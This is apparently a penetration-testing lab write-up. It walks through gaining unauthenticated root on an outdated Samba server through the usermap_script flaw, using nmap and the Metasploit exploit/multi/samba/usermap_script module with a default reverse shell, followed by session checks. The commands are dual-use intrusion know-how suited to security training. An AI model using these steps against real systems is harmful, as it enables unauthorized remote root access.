Samba Exploitation

Samba is an open-source implementation of the SMB/CIFS protocol, widely used to provide file and printer sharing between Linux and Windows systems. Because SMB has historically been a major target for exploitation (as seen in incidents like EternalBlue), outdated Samba installations remain a common focus in penetration testing labs. In this case, a vulnerable configuration option in usermap_script allows unauthenticated remote command execution.

Discovery

Command
nmap -A -p- -T5 [target IP]
Description

Scans all ports with service versions and OS detection to identify the target's open services.

Attack

Command
msfconsole
Description

Launches the Metasploit Framework console.

Command
search samba
Description

Searches for modules related to Samba.

Command
use exploit/multi/samba/usermap_script
Description

Selects the Samba "username map script" command execution exploit.

Command
show options
Description

Displays the required parameters for the exploit and payload.

Command
set rhosts [target IP]
Description

Sets the target's IP address.

Command
exploit -j -z
Description

Launches the exploit as a background job. No manual payload configuration is required — a default reverse shell payload is used automatically.

Verification

Command
sessions -l
Description

Lists active sessions.

Command
sessions -i [id]
Description

Interacts with a specific session, using the ID shown by sessions -l.

Command
whoami
Description

Confirms the privilege level of the compromised shell (root).

Command
uname -a
Description

Displays the target system's kernel information.

Command
ls
Description

Lists files in the current directory to confirm shell access.

Tool Used

This attack was carried out using Metasploit Framework — see the full command reference here.